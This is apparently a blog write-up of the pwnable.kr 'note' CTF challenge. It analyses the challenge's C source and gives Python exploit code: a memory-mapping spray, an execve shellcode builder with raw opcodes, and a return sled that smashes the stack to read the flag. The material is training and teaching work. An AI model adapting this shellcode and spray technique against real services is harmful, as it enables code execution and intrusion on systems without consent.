And there goes another night spent honing my CTF skills. This time, I decided to tackle pwnables Note challenge for 200 points.

Check out my SECURITY PATCH for mmap().

despite no-ASLR setting, it will randomize memory layout.

so it will contribute for exploit mitigation.

wanna try sample application? ssh note@pwnable.kr -p2222 (pw:guest)

When dropping onto the server, I did my typical opening move:

note@ubuntu:~$ ls

note note.c readme

Then checked the readme:

note@ubuntu:~$ cat readme

the "note" binary will be executed under note_pwn privilege

if you connect to port 9019.

execute the binary by connecting to daemon(nc 0 9019) then pwn it,

then get flag.

ASLR is disabled for this challenge

I'm a Dog Person

In this post, you're gonna see some code with the string /bin/dog . In reality, these should be /bin /cat . However, this blogging platform has 31337 s3cur1ty, and they 403 FORBIDDEN anything containing /bin /cat :

<head> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" /> <title>Blocked</title> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> </head> <body> <div class="outer"> <div class="wrap"> <div class="content"> <h1>Sorry, you've been blocked</h1> <h2>We've detected malicious activity from your connection</h2> </div> </div> <div class="foot"> <p>Think this is a mistake? Tweet <a href="https://twitter.com/TryGhost">@TryGhost</a>. </p> </div> </div> </body>

Yes, I do think this is a mistake. Anyways, back to our regularly scheduled programming.

Code Analysis

After reading over the instructions, I pulled down note.c and started analyzing the code. The first thing that caught my eye was select_menu() , where they give us a secret menu option and an intentional buffer overflow:

void select_menu(){ int menu; char command[1024]; printf("- Select Menu -

"); printf("1. create note

"); printf("2. write note

"); printf("3. read note

"); printf("4. delete note

"); printf("5. exit

"); scanf("%d", &menu); clear_newlines(); switch(menu){ case 1: create_note(); break; case 2: write_note(); break; case 3: read_note(); break; case 4: delete_note(); break; case 5: printf("bye

"); return; case 0x31337: printf("welcome to hacker's secret menu

"); printf("i'm sure 1byte overflow will be enough for you to pwn this

"); fgets(command, 1025, stdin); break; default: printf("invalid menu

"); break; } select_menu(); }

As far as I know, this is actually a red herring. There's only a single-byte overflow here, and it overflows into the menu variable. We already have full control of this variable, and it's not even used after we overflow it.

After using gdb to confirm that this overflow does indeed hit menu , I decide to start looking into options 1 through 4. Consecutively, these allow you to allocate a note, write data to a note, read data from a note, and delete a note.

Notes are allocated using a custom function, mmap_s() , which we'll get to soon. There can be up to 256 notes, and each note is a single page. The notes are initialized to 0x00 by the underlying mmap() call:

void create_note(){ int i; void* ptr; for(i=0; i<256; i++){ if(mem_arr[i] == NULL){ ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); mem_arr[i] = ptr; printf("note created. no %d

[%08x]", i, (int)ptr); return; } } printf("memory sults are fool

"); return; }

The only part of this code that I found useful for an attack was the information disclosure, which tells us the address of our note.

In note writing, I found a very useful bug. After validating the desired note, it populates the buffer with gets() :

printf("paste your note (MAX : 4096 byte)

"); gets(mem_arr[no]);

I immediately knew this bug would come in handy. If you're not aware, gets() will keep reading from stdin until it encounters either a

character or an EOF . Yes, it will read beyond null terminators and unprintable characters, as well.

I didn't find anything useful in note reading or deletion, so I moved on to mmap_s() :

void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){ // security fix: current version of mmap(NULL.. is not giving secure random address if(addr == NULL && !(flags & MAP_FIXED)) { void* tmp=0; int fd = open("/dev/urandom", O_RDONLY); if(fd==-1) exit(-1); if(read(fd, &addr, 4)!=4) exit(-1); close(fd); // to avoid heap fragmentation, lets skip malloc area addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 ); while(1) { // linearly search empty page (maybe this can be improved) tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset); if (tmp != MAP_FAILED) { return tmp; } else { // memory already in use! addr = (void*)((int)addr + PAGE_SIZE); // choose adjacent page } } } return mmap(addr, length, prot, flags, fd, offset); }

Right away, I found a very interesting bug. While fd is passed in as -1 , which is what we'd want it to be for a non-file-backed mapping, a local variable fd is declared and used to store the descriptor to /dev/urandom . This descriptor is ultimately closed before allocation, but the value of fd remains changed (it always gets set to 3 , since no other files get opened). The mmap() call doesn't seem to care that it is passed a closed file descriptor, and the call succeeds without the mapping being backed by /dev/urandom (it is not even a mappable file). As it turns out, this is because MAP_ANONYMOUS ignores the fd argument.

I then noticed something else: while avoiding heap fragmentation, the code drastically reduces the area in which memory can be allocated:

addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );

There's still a massive region there, but more predictability is always nice.

The next bug took my eyes from code to documentation, as I tried to understand exactly what the mmap() call would do. And, oh my, did I hit a goldmine. By using MAP_FIXED , the code ensures that the mapping will always land on the exact address specified in addr . At first, I thought, "well, hey, if it lands on an address which is in use, it should return MAP_FAILED and step up by a page at a time until it lands in free memory":

if (tmp != MAP_FAILED) { return tmp; } else { // memory already in use! addr = (void*)((int)addr + PAGE_SIZE); // choose adjacent page }

But then I read further into the documentation:

If the memory region specified by addr and len overlaps pages of

any existing mapping(s), then the overlapped part of the

existing mapping(s) will be discarded.

I'm not sure what this type of bug is called, but I'll call it map-over-data or MOD for short.

Plan of Attack

When deciding how to attack this application, I first made some assertions about the bugs I'd found:

The 1-byte overflow is a useless distraction.

The fd bug is also unusable. Either the author put it as a distraction or made a mistake.

This left me with three bugs: the information disclosure, the gets() overflow, and the MOD. I realized that if I could use the MOD to land somewhere interesting, I could then use the overflow to attack the memory.

MOD Spray

I decided to spam as many note allocations as I could, collecting information on where they land. First, I needed to know what memory could be considered interesting:

note@ubuntu:~$ gdb note

(gdb) b *main

Breakpoint 1 at 0x80489f2

(gdb) r

Starting program: /home/note/note

Breakpoint 1, 0x080489f2 in main ()

(gdb) info proc mappings Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804a000 0x2000 0x0 /home/note/note 0x804a000 0x804b000 0x1000 0x1000 /home/note/note 0x804b000 0x804c000 0x1000 0x2000 /home/note/note 0xf7e16000 0xf7e17000 0x1000 0x0 0xf7e17000 0xf7fc4000 0x1ad000 0x0 /lib32/libc-2.23.so 0xf7fc4000 0xf7fc6000 0x2000 0x1ac000 /lib32/libc-2.23.so 0xf7fc6000 0xf7fc7000 0x1000 0x1ae000 /lib32/libc-2.23.so 0xf7fc7000 0xf7fcb000 0x4000 0x0 0xf7fd5000 0xf7fd7000 0x2000 0x0 [vvar] 0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso] 0xf7fd9000 0xf7ffb000 0x22000 0x0 /lib32/ld-2.23.so 0xf7ffb000 0xf7ffc000 0x1000 0x0 0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.23.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack]

I decided to write a python script to automate the process of spamming note allocations. There are a few considerations I had to make, however:

A session could crash at any time, due to mapping over required memory and, thus, zeroing it out.

All sessions will eventually crash, as select_menu() is called recursively and will eventually blow up the stack.

is called recursively and will eventually blow up the stack. Everything will be done over the network, so communication must be efficient.

To address the first two points, I designed the script to run inside of a loop which could start over when a session crashed. To conquer the final point, I made sure to batch up requests. For instance, to allocate a note, I simply need to send 1

. Knowing how many notes I have to allocate, I batched these up into a single network call:

# allocate as many blocks as we can at once blockCount = (256 - len(important_notes)) s.send("1

" * blockCount)

I configured my network code such that it would slurp up the hundreds of responses into a single buffer, then went on to process the results in a loop. Each response starts with the menu and ends with two lines describing the allocated note:

# spin over the results and see what we've got for b in range(1, blockCount): read_lines_until(s, "exit", False) line1 = read_line_nonnull(s) line2 = read_line_nonnull(s)

I used regex to grab each note's index and address:

NOTENO_REGEX = re.compile('^.*created. no (\d{1,3}).*$', re.IGNORECASE) ADDRESS_REGEX = re.compile('^.*\[([A-Fa-f0-9]{8})\].*$', re.IGNORECASE)

Made sure to have a list of interesting memory buffers:

IMPORTANT_MAPPINGS = [ [0x8048000, 0x804a000, "note"], [0x804a000, 0x804b000, "note"], [0x804b000, 0x804c000, "note"], [0xf7e17000, 0xf7fc4000, "lib"], [0xf7fc4000, 0xf7fc6000, "libc"], [0xf7fc6000, 0xf7fc7000, "libc"], [0xf7fd9000, 0xf7ffb000, "ld"], [0xf7ffc000, 0xf7ffd000, "ld"], [0xf7ffd000, 0xf7ffe000, "ld"], [0xfffdd000, 0xffffe000, "[stack]"] ]

And then set the response loop up to show all of the mappings which were hit:

no = int(NOTENO_REGEX.match(line1).group(1)) adr = int(ADDRESS_REGEX.match(line2).group(1), 16) for imap in IMPORTANT_MAPPINGS: if (adr >= imap[0] and adr < imap[1]): important_notes.append(no) offset = adr - imap[0] print(" Landed note %d in important map (%s, offs: 0x%04x, adr: 0x%08x)" % (no, imap[2], offset, adr)) break

After each batch of allocations, I had code to delete any notes which weren't deemed important:

# clear out any blocks we don't need and start again todel = [] for i in range(0, 256): if (i not in important_notes): todel.append(i) s.send(''.join("4

%d

" % x for x in todel)) # make sure to read all of the output for d in todel: read_lines_until(s, "exit", False) read_lines_until(s, "exit", False)

After this, the code would loop back to the note allocation process and repeat. This allocation loop would continue until the session crashed, triggering a repeat of the entire process with a brand new session.

After a few minutes of runtime, I gained some very valuable insight. Because of the bitmasking done, mmap_s() refrains from dropping anything on the executable code of ./note . However, that's about the only restriction. It had no problem turning other critical memory into its stomping ground:

Landed note 28 in important map ([stack], offs: 0x20000, adr: 0xffffd000)

Landed note 48 in important map (libc, offs: 0xa7000, adr: 0xf7ebe000)

Landed note 99 in important map (libc, offs: 0x87000, adr: 0xf7e9e000)

Landed note 173 in important map (ld, offs: 0x0000, adr: 0xf7ffc000)

Landed note 3 in important map (libc, offs: 0x23000, adr: 0xf7e3a000)

Landed note 54 in important map ([stack], offs: 0x1f000, adr: 0xffffc000)

Landed note 173 in important map (libc, offs: 0x10d000, adr: 0xf7f24000)

Landed note 171 in important map (libc, offs: 0x33000, adr: 0xf7e4a000)

Landed note 88 in important map (ld, offs: 0x8000, adr: 0xf7fe1000)

Landed note 83 in important map (libc, offs: 0x74000, adr: 0xf7e8b000)

The Attack

Given this information, there were two routes I could take:

I could attempt to spray shellcode into libc and ld , with the hope that it would inadvertently get executed.

and , with the hope that it would inadvertently get executed. I could drop shellcode on the stack and use a ROP sled to try and force a return into it.

I decided to go with the latter option for a few reasons:

The entire stack is writable, allowing me to use gets() to it's full potential. Effectively, I can control the entire stack after the point of MOD.

to it's full potential. Effectively, I can control the entire stack after the point of MOD. The library memory, on the other hand, would be write protected everywhere except the single page where the MOD occurs, making it harder for execution to land.

Forcing a return into the shellcode is very easy in this case. Normally, there's the concern about corrupting data and stack frames when smashing the stack. In this instance, though, we have a good chance to start above any stack frames and bleed all the way down into the working stack. It wont be foolproof, but it should still work with a few tries.

I got to work on a shellcode generation function, which allowed me to easily call execve() with whichever arguments I chose:

def build_execve_shellcode(address, command, args): SHELLCODE = "\x31\xC0" # xor eax, eax SHELLCODE += "\xBA\xDD\xBE\x75\xCA" # mov edx, 0xca75bedd char * envp[] SHELLCODE += "\xB9\x0D\xF0\xAD\xBA" # mov ecx, 0xbaadf00d char * argv[] SHELLCODE += "\xBB\xEF\xBE\xAD\xDE" # mov ebx, 0xdeadbeef char *filename SHELLCODE += "\xB0\x0B" # mov al, 0xb execve syscall id SHELLCODE += "\xCD\x80" # int 0x80 call execve # push the initial shellcode shell = SHELLCODE # push the command string adrCommand = len(shell) + address shell += command + "\x00" # push the argument strings adrArgs = [] for arg in args: adrArg = len(shell) + address shell += arg + "\x00" adrArgs.append(adrArg) # align with 0x00 bytes shell += ('\x00' * (4 - (len(shell) % 4))) # build an array of pointers to the arguments (lead with the command) adrArgArray = len(shell) + address shell += struct.pack("<I", adrCommand) for argp in adrArgs: shell += struct.pack("<I", argp) # terminate the array with 0x00000000 adrArgArrayTerminator = len(shell) + address shell += struct.pack("<I", 0) # point filename at the command shell = shell.replace("\xEF\xBE\xAD\xDE", struct.pack("<I", adrCommand)) # point argv at the pointer array shell = shell.replace("\x0D\xF0\xAD\xBA", struct.pack("<I", adrArgArray)) # point envp at the array terminator, since we want it as a null array shell = shell.replace("\xDD\xBE\x75\xCA", struct.pack("<I", adrArgArrayTerminator)) # trail with nops to align the shellcode shell += ('\x90' * (4 - (len(shell) % 4))) return shell

And I called it like so (lead by 100 NOP instructions for scratch space, even though I know the exact address):

shell = build_nop_sled(100) shell += build_execve_shellcode(adr + len(shell), "/bin/dog", ["flag"])

Essentially, the generated buffer looked something like this:

XX: # 100 nops before 64: 31 c0 xor eax,eax 66: ba 90 50 ff ff mov edx,0xffff5094 6b: b9 88 50 ff ff mov ecx,0xffff508c 70: bb 79 50 ff ff mov ebx,0xffff5079 75: b0 0b mov al,0xb 77: cd 80 int 0x80 79: "/bin/dog" 81: 00 82: "flag" 86: 00 00 00 00 00 00 8c: 79 50 ff ff address of "/bin/dog" 90: 82 50 ff ff address of "flag" 94: 00 00 00 00 null adress

This is similar to the following C code:

char *const filename = "/bin/dog"; char *const arg = "flag"; char *const argv[] = {filename, arg, NULL}; execve(filename, &argv[0], &argv[2]);

Once I had the shellcode, I only needed to build a ROP sled. Essentially, this meant filling the entire stack with the address of the shellcode so that something could RET into it. I made my shellcode generator ensure to pad the buffer so that it would be on a 4-byte boundary, ensuring the ROP sled would be properly aligned. Then I made a function to generate it:

def build_rop_sled(target, size, offset): # calculate amount of space, then subtract 1 incase of a rounding issue # (don't want to run beyond the stack and get a segfault) ropsize = ((size - offset) / 4) - 1 rop = struct.pack("<I", target) return (rop * ropsize)

All that was left was to add this to the end of the shellcode buffer, ensuring it was the right size to fill the entire stack without causing an overflow:

shell += build_rop_sled(adr, imap[1] - imap[0], len(shell) + offset)

And it was time to smash:

print(" Hit the stack! Attempting shellcode.") s.send(b"2

%d

%s

5



" % (no, shell))

Following the smash, I needed code to detect the flag (because the attack isn't reliable, I can't stop until it succeeds). I did this by creating a list of substrings which I expect to see and filtering lines which contain them:

# clear the socket buffer since we won't care about anything else at this point SOCK_BUFF = "" # filter through the output for the flag knownSubs = ["e note", "d note", "exit", " no?", "bye", "(MAX", "- Select"] while True: line = read_line(s) cont = (line == "") for a in knownSubs: if (a in line): cont = True break if (cont): continue GOTFLAG = True print("FLAG: %s" % line)

I put everything together, added some logging, and it was off to victory.

Winning

I ran the solver, and it managed to get the solution pretty quickly.

Okay, guys, look.. not THAT quickly.

I made some mistakes, and I sed 's/some/a lot/g' *

had to re-write the code many times.

I struggled to figure out why it failed

quite a bit. But, eventually...

Once I managed to get the code working, it needed 37 attempts to get the flag. In these attempts, it managed to MOD the stack with a failed attack 7 times, succeeding on the 8th. Across all 37 runs, 147,943 notes were allocated to hit the perfect spot. Probably over a million were allocated before I perfected the solver.

Starting mmap_s() spray #37...

Landed note 206 in important map ([stack], offs: 0x11000, adr: 0xfffee000)

Hit the stack! Attempting shellcode.

FLAG: <omitted, go solve it yourself!>

Looks like the target crashed, restarting...

Number of Crashes: 37

Total Allocations: 147943

Shellcode Attempts: 8

We might have a flag, check the console.

And I was done! It felt quite nice to be rid of this challenge, considering it was only worth 200 points but took longer than the 500 pointer I recently solved.

Okay, to be fair, I solved this challenge quicker, but it was messy. If I'm being honest, I solved it re-running a shittier script by hand multiple times. It's only afterwards that I spent some extra time re-working the script into a full-auto solver so I could seem cool in the write-up. Ah, well, there goes that.

If you want the full script, I've put it at the end of the post to avoid clutter.

Final Note

I'm glad I solved the challenge, but I'm honestly a bit dissatisfied with my solution. It works, and it's pretty cool, but it's super janky. In the real world, you can't always crash something MAX_INT times to land your exploit. I'm convinced that there is probably a more reliable solve, but I haven't managed to find it. The sad part is, even though over 200 people have solved this one, I can't find a single write-up for it. I'd really like to see if someone used any of the other bugs--or found ones that I'd missed--and crafted a better attack.

This segues in to the reason I write this blog: I want to teach people. Whether you're someone coming here to see how their solution stacks up against mine or you simply want to learn how to hack, I want to be here to teach you what I can. It just sucks that I was hoping I could learn from someone else's write-up, only to find there aren't any. So, if you're CTFing, hacking games, doing crackmes, or just really kicking bits in a text editor, blog it! What you're doing is interesting, and there are people who would love to read about it.

solver.py

this code is messy and I'm not responsible for any nightmares it gives you

two space indent is to save wrapping on the blog, i'm usually a tab man okay?